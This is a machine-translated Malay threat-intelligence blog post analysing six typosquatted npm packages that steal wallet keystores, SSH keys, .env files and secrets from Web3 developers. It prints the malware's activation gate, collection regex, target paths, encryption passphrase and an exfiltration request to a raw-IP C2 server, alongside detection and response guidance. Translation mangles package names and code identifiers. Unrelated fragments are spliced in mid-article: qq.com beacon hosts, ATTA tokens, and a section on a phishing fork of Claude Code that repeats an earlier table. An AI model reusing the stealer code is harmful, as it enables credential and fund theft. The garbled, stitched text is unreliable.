Serangan Typosquatting npm EVMDeFi Mencuri Kunci Pembangun

Serangan Typosquatting npm EVM/DeFi Mencuri Kunci Pembangun

TL; DR

Pada 6 Mei 2026, sebuah penerbit npm tunggal, namikazesarada010206, mengedarkan enam pakej berniat jahat yang menyasarkan ekosistem pembangun Ethereum, Solidity dan DeFi.

Pakej-pakej itu, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, dan web3-utils-core, menggunakan nama yang munasabah yang direka bentuk untuk kelihatan seperti pustaka pembantu untuk perkakasan Web3 yang popular.

Kesemua enam bungkusan mengandungi bahan yang sama telemetry.js fail. Fail tersebut adalah sama bait merentasi kluster, dengan SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Perisian hasad tidak berfungsi semasa pemasangan. Tiada preinstall or postinstall cangkuk. Sebaliknya, ia diaktifkan apabila pakej diimport melalui require().

Perincian itu penting.

Implan menunggu sehingga pembangun benar-benar menggunakan pakej tersebut. Kemudian ia menyemak sama ada stesen kerja kelihatan seperti persekitaran pembangunan Ethereum/Solidity yang sebenar. Ia mencari kunci Alchemy atau Infura, kunci peribadi, mnemonik, kunci deployer atau direktori Foundry tempatan.

Jika hos sepadan, pencuri akan mengumpul kunci peribadi SSH, stor kunci dompet Foundry / Geth / Brownie, .env* fail dan pembolehubah persekitaran sensitif. Ia menyulitkan pakej dengan AES-256-GCM menggunakan frasa laluan berkod keras dan mengeluarkannya ke titik akhir IPv4 C2 mentah dengan pengesahan TLS dinyahdayakan.

Sistem Amaran Awal Perisian Hasad (MEW) Xygeni mengesahkan keenam-enam pakej sebagai berniat jahat. Bundel laporan penghapusan pendaftaran npm sedang menunggu kelulusan.

Kelompok: Enam Pakej, Satu Penerbit

Akaun penerbit namikazesarada010206 telah dipautkan ke alamat Gmail yang tidak disahkan namikazesarada010206@gmail.com.

Kempen itu muncul sebagai penerbitan satu hari pada 6 Mei 2026. Kesemua enam pakej telah diversikan sebagai 1.0.0, mempunyai sifar kebergantungan masa jalan, dan hanya menghantar tiga fail:

package.json index.js telemetry.js

Mereka juga mengisytiharkan repositori sumber yang sama:

https://github.com/harunosakura030303-maker/evmchain-config

Tiga pakej pertama telah ditangkap oleh pengimbas MEW pada penerbitan pertama. Tiga pakej yang selebihnya telah ditandai secara paksa selepas semakan penganalisis terhadap profil npm penerbit. Setelah bait yang sama telemetry.js telah disahkan merentasi kluster, ia ditutup sebagai berniat jahat berdasarkan konsistensi.

Pakej versi npm Diterbitkan Tiket MEW Keputusan
teras-viem 1.0.0 2026-05-06 01:38:44Z #51049 Niat Jahat
teras-viem-utils 1.0.0 2026-05-06 #51050 Niat Jahat
utils teras-hardhat 1.0.0 2026-05-06 #51051 Niat Jahat
evm-utils 1.0.0 2026-05-06 #51069 Berniat jahat, mengikut konsistensi
faundri-utils 1.0.0 2026-05-06 #51071 Berniat jahat, mengikut konsistensi
teras-util-web3 1.0.0 2026-05-06 #51070 Berniat jahat, mengikut konsistensi

Strategi penamaan adalah mudah tetapi berkesan.

Pakej-pakej ini tidak menyamar sebagai nama huluan yang tepat. Sebaliknya, ia menggunakan akhiran "utiliti" yang munasabah seperti -core, -utils, dan -utils-coreItu menjadikannya kelihatan seperti pustaka pendamping yang mungkin dijangkakan oleh pembangun untuk dilihat berhampiran perkakasan Web3.

Pakej Berniat Jahat Sasaran Sah
teras-viem viem, klien Ethereum TypeScript yang popular
teras-viem-utils viem
utils teras-hardhat hardhat, persekitaran pembangunan Solidity arus perdana
evm-utils Ruang nama perkakasan EVM generik
faundri-utils faundri, rantai alat Soliditi
teras-util-web3 web3-utils, pembantu Web3.js

Ini adalah corak "pakej tambahan": bukan "Saya adalah pakej sebenar," tetapi "Saya kelihatan seperti pembantu yang munasabah di sekitar pakej sebenar."

Bagi pembangun DeFi yang bergerak pantas, itu sudah cukup untuk mewujudkan risiko.

Apa yang Berlaku Apabila Pakej Diimport

Rantaian serangan adalah kecil, disengajakan dan tertumpu pada persekitaran pembangunan kripto.

Tiada cangkuk pemasangan. Sebaliknya, setiap pakej termasuk index.js yang mengeksport fungsi stub dan kemudian memuatkan modul telemetri berniat jahat.

require('./telemetry').init();

Ini bermakna perisian hasad akan diaktifkan pada import pertama.

Itu berguna dari segi operasi untuk penyerang. Banyak pengimbas dan kotak pasir memberi tumpuan kepada tingkah laku masa pemasangan. Pakej ini menunggu sehingga ia benar-benar digunakan oleh pembangun, skrip binaan, suit ujian atau laluan masa jalan.

Pintu Pengaktifan: Hanya Api pada Stesen Kerja Pembangun Web3 Sebenar

Bahagian terpenting implan ialah pintu pengaktifan.

Perisian hasad menyemak pembolehubah persekitaran yang biasa ditemui pada mesin pembangun Ethereum / Solidity:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Ia juga menyemak sama ada Foundry nampaknya telah dipasang:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Jika kedua-dua syarat itu tidak benar, fungsi tersebut akan kembali dan tidak melakukan apa-apa.

Itu menjadikan pakej lebih senyap dalam persekitaran analisis generik. Kotak pasir tanpa Foundry, kekunci Alkimia, kekunci Infura, kekunci peribadi atau mnemonik mungkin melihat import yang kelihatan tidak berbahaya.

Pada hos yang sepadan, perisian hasad menunggu 60 hingga 90 saat sebelum pengumpulan:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Kelewatan ini mengurangkan korelasi yang jelas antara import dan penapisan. .unref() panggilan juga membolehkan proses hos keluar secara normal jika pakej diimport dalam skrip jangka pendek.

Ini bukanlah tingkah laku 'smash-and-grab' yang bising. Ia adalah pencuri sasaran yang direka untuk mengelakkan daripada dijalankan melainkan persekitaran pembangun berbaloi untuk dicuri.

Apa yang Dikumpul oleh Pencuri

Sebaik sahaja pintu pengaktifan lulus, perisian hasad akan dikumpulkan daripada sumber yang paling penting dalam pembangunan Web3: kunci peribadi, stor kunci dompet, kelayakan penggunaan, rahsia awan, token npm dan konfigurasi projek tempatan.

Source Apa yang Dikumpulkan
proses.env Sebarang pembolehubah yang sepadan /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Fail yang mengandungi PRIVATE KEY atau BEGIN OPENSSH, termasuk kandungan fail penuh
~/.faundri/kedai kunci/* Fail stor kunci dompet faundri
~/.ethereum/kedai kunci/* Fail stor kunci dompet Geth
~/.brownie/akaun/* Fail stor kunci dompet Brownie
${cwd}/.env Kandungan fail penuh
${cwd}/.env.local Kandungan fail penuh
${cwd}/.env.production Kandungan fail penuh
${cwd}/.env.pembangunan Kandungan fail penuh
os.namahos() Metadata hos
kripto.rawakUUID() Pengecam mangsa/sesi
Tarikh.sekarang() Cap masa pengumpulan
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

Token ATTA adalah:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Kami belum dapat mengesahkan sama ada telemetri tersebut merupakan analitik pengendali sendiri atau saluran yang dimonetisasi secara berasingan. Token ATTA adalah sama dalam kedua-dua sampel yang kami periksa.

Kluster B: heibai

claude.hk OAuth Phishing + Rampasan URL ANTHROPIC_BASE

Sampel 1 April merupakan cabang kempen yang lebih kasar dan lebih awal.

heibai:2.1.88-claude.hk-4 diterbitkan oleh wuguoqiangvip28, akaun yang dibuat pada 7 Jun 2025. Pakej tersebut secara eksplisit mengubah versi dirinya terhadap yang sah 2.1.88 Pelepasan antropik.

Ia tidak mengganggu CA-cert MITM. Sebaliknya, ia berbohong kepada pengguna tentang titik akhir OAuth.

Tambahan berniat jahat di atas sumber Kod Claude yang bocor termasuk:

Source Apa yang Dikumpulkan
proses.env Sebarang pembolehubah yang sepadan /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Fail yang mengandungi PRIVATE KEY atau BEGIN OPENSSH, termasuk kandungan fail penuh
~/.faundri/kedai kunci/* Fail stor kunci dompet faundri
~/.ethereum/kedai kunci/* Fail stor kunci dompet Geth
~/.brownie/akaun/* Fail stor kunci dompet Brownie
${cwd}/.env Kandungan fail penuh
${cwd}/.env.local Kandungan fail penuh
${cwd}/.env.production Kandungan fail penuh
${cwd}/.env.pembangunan Kandungan fail penuh
os.namahos() Metadata hos
kripto.rawakUUID() Pengecam mangsa/sesi
Tarikh.sekarang() Cap masa pengumpulan

Senarai sasaran adalah sangat spesifik. Ini bukanlah kecurian pelayar umum atau pengikisan kelayakan yang luas. Ia disasarkan kepada pembangun yang membina, menguji, menggunakan atau mengendalikan aplikasi Ethereum.

Kemasukan stor kunci Foundry, Geth dan Brownie amat penting. Fail-fail ini boleh mewakili akses langsung kepada dompet atau identiti penggunaan. Jika penyerang boleh memasangkannya dengan kata laluan, mnemonik atau rahsia persekitaran, mereka mungkin boleh memindahkan dana, menyamar sebagai penyebar atau menjejaskan operasi kontrak pintar.

Penyulitan Sebelum Penapisan Ekstra

Perisian hasad ini menyulitkan data yang dikumpul sebelum menghantarnya.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Frasa laluan berkod keras ialah:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Muatan akhir dibungkus sebagai JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Penyulitan tidak menjadikan perisian hasad lebih maju dengan sendirinya. Walau bagaimanapun, ia menjadikan pemeriksaan rangkaian lebih sukar. Pembela yang memerhatikan jalan keluar akan melihat muatan JSON, tetapi bukan kunci yang dicuri, fail dompet atau .env kandungan tanpa frasa laluan dan logik penyahsulitan berkod keras.

Pengekstrakan ke IPv4 C2 Mentah

Laluan penyusupan ekskresi dikodkan secara keras:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Malware menghantar data kepada:

https://76.13.37.80:8443/api/v1/telemetry

Dua butiran menonjol.

Pertama, C2 ialah alamat IPv4 mentah dan bukannya domain. Ini menghapuskan keperluan untuk pendaftaran domain dan mengelakkan beberapa pengesanan berasaskan domain.

Kedua, pengesahan TLS dinyahdayakan dengan:

rejectUnauthorized: false

Itu membolehkan perisian hasad menerima sebarang sijil, termasuk sijil yang ditandatangani sendiri. Dalam erti kata lain, penyerang mendapat pengangkutan yang disulitkan tanpa memerlukan sijil awam yang sah.

Tiada logik cuba semula dan tiada hos sandaran. Ralat ditelan secara senyap. Ini memastikan pakej senyap jika C2 berada di luar talian atau tidak dapat dicapai.

Mengapa Kempen Ini Penting

Kebanyakan pakej npm berniat jahat yang ditujukan kepada pembangun untuk mengejar kelayakan yang luas: token npm, kunci AWS, token GitHub atau .npmrc fail.

Kempen ini menyempitkan sasaran.

Ia mencari tanda-tanda bahawa mesin itu milik pembangun Ethereum atau Solidity. Kemudian ia menarik aset yang penting dalam persekitaran tersebut: stor kunci dompet, kunci peribadi, mnemonik, kunci penyerah, .env fail dan kekunci SSH.

Itu menjadikan kempen lebih berbahaya untuk pasukan Web3 berbanding pencuri npm generik.

Jangkitan yang berjaya boleh mendedahkan:

  • Dompet pelaksanaan
  • Kunci pentadbir kontrak pintar
  • Kunci pembekal RPC
  • Kelayakan penggunaan awan
  • token penerbitan npm
  • Akses SSH kepada infrastruktur pembangun atau binaan
  • Rahsia projek disimpan dalam .env fail
  • Stor kunci dompet untuk Foundry, Geth atau Brownie

Nama pakej juga menunjukkan kejuruteraan sosial yang jelas. Ia menyasarkan ekosistem pembangun Web3 melalui nama alat yang biasa: viem, hardhat, foundry, evm, dan web3.

Pelakon tidak perlu berkompromi dengan projek sebenar. Mereka hanya memerlukan pembangun untuk memasang apa yang kelihatan seperti pakej pendamping yang munasabah.

Petunjuk Kompromi dan Pengesanan

Pakej dan Penerbit
Bidang nilai
penerbit npm namikazesarada010206
E-mel penerbit namikazesarada010206@gmail.com
E-mel disahkan Tidak
SCM disahkan Tidak
Skor reputasi 1.0
Kami viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
versi semua 1.0.0
Repositori sumber https://github.com/harunosakura030303-maker/evmchain-config
Disahkan berniat jahat Semua enam pakej
rangkaian
Jenis nilai
Titik akhir C2 https://76.13.37.80:8443/api/v1/telemetry
IP C2 76.13.37.80
Pelabuhan C2 8443/tcp
Tingkah laku TLS tolakTidak dibenarkan: palsu
Skema muatan {"v":2,"iv": ,"d": "t": }
Fail dan Hash
Jenis nilai
telemetri.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Susun atur pakej package.json, index.js, telemetri.js
Bilangan fail 3
Anggaran jumlah saiz 3.4 KB

Isyarat Pengaktifan

Malware menyemak pembolehubah persekitaran ini:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Ia juga memeriksa:

~/.foundry/

Laluan Hos yang Disasarkan

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Regex Koleksi

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Nota Pengesanan

Beberapa peraturan merangkumi kempen ini tanpa memerlukan analisis tingkah laku penuh.

Pertama, imbas fail kunci untuk enam nama pakej berniat jahat:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Mana-mana perlawanan dalam package-lock.json, yarn.lock, pnpm-lock.yaml, Atau node_modules sejarah harus dianggap sebagai peristiwa yang serius.

Kedua, pantau proses Node.js yang membaca laluan stor kunci dompet:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Ini jarang sekali merupakan tingkah laku yang sah untuk pakej yang diimport sebagai kebergantungan pembantu. Ia amat mencurigakan apabila diikuti oleh aktiviti rangkaian keluar.

Ketiga, sekat atau beri amaran pada sambungan HTTPS kepada:

76.13.37.80:8443

Terutamanya apabila laluan permintaan ialah:

/api/v1/telemetry

Keempat, cari pakej npm yang menggabungkan ciri-ciri ini:

  • Penerbit baharu atau bereputasi rendah
  • Akaun Gmail yang tidak disahkan
  • Nama pakej bersebelahan Web3
  • Tiada sejarah repositori yang bermakna
  • Susun atur pakej kecil
  • index.js yang memuatkan fail telemetri atau pembantu
  • Tiada kebergantungan masa jalan
  • Koleksi pembolehubah persekitaran sensitif
  • Akses stor kunci dompet

Corak ini lebih berguna daripada IOC tunggal kerana pakej seterusnya mungkin mengubah alamat IP tetapi mengekalkan logik penargetan yang sama.

Senarai Semak Respons Kompromi

Jika pembangun menggunakan salah satu daripada enam pakej dan persekitarannya sepadan dengan pintu pengaktifan, anggap stesen kerja tersebut sebagai telah dikompromi.

Ini termasuk mesin dengan Foundry yang dipasang, kunci Alchemy atau Infura dalam persekitaran, kunci peribadi, mnemonik atau kunci deployer.

Respons yang disyorkan:

  • Putuskan sambungan hos daripada rangkaian.
  • Memelihara node_modules, fail kunci, sejarah cangkerang dan log berkaitan untuk forensik.
  • Putar setiap pasangan kekunci SSH di bawah ~/.ssh/.
  • Putar kunci dompet untuk setiap stor kunci di bawah ~/.foundry, ~/.ethereum, dan ~/.brownie.
  • Alihkan dana ke dompet baharu.
  • Putar setiap rahsia yang tersimpan di dalamnya .env* fail dalam repositori tempat pembangun bekerja.
  • Putar rahsia persekitaran yang sepadan dengan regex koleksi, termasuk kunci AWS, token npm, token penggunaan, kunci API, kunci peribadi, benih dan mnemonik.
  • Aktiviti awan audit, npm, GitHub, penyedia RPC dan rantaian blok sejak pakej pertama kali dipasang.
  • Imej semula stesen kerja sebelum digunakan semula.

Apa yang Perlu Dibawa oleh Pembela

Kempen ini menunjukkan bagaimana typosquatting npm berkembang di sekitar ekosistem pembangun bernilai tinggi.

Pelakon itu tidak memerlukan kegigihan. Mereka tidak memerlukan kekeliruan. Mereka bahkan tidak memerlukan pelaksanaan masa pemasangan.

Sebaliknya, mereka bergantung pada tiga perkara:

  • Nama pakej Web3 yang munasabah
  • Pengaktifan hanya pada mesin pembangunan kripto sebenar
  • Kecurian langsung fail dan rahsia yang paling penting bagi pembangun Ethereum

Itu menjadikan kempen mudah terlepas pandang dalam imbasan meluas dan berbahaya apabila ia berada di persekitaran yang betul.

Bagi pasukan Web3, pengajarannya jelas: anggap nama kebergantungan sebagai sebahagian daripada model ancaman anda. Pakej yang kelihatan seperti pembantu yang tidak berbahaya masih boleh menjadi laluan terpendek untuk kompromi dompet.

Dilaporkan kepada pendaftaran npm. Kami akan mengemas kini siaran ini apabila akaun penerbit dan pakej dialih keluar.

alat-analisis-komposisi-perisian-alat-sca
Utamakan, pulihkan dan lindungi risiko perisian anda
Dapatkan Akaun Percuma anda.
Tiada kad kredit yang diperlukan.

Lindungi Pembangunan dan Penghantaran Perisian Anda

dengan Suit Produk Xygeni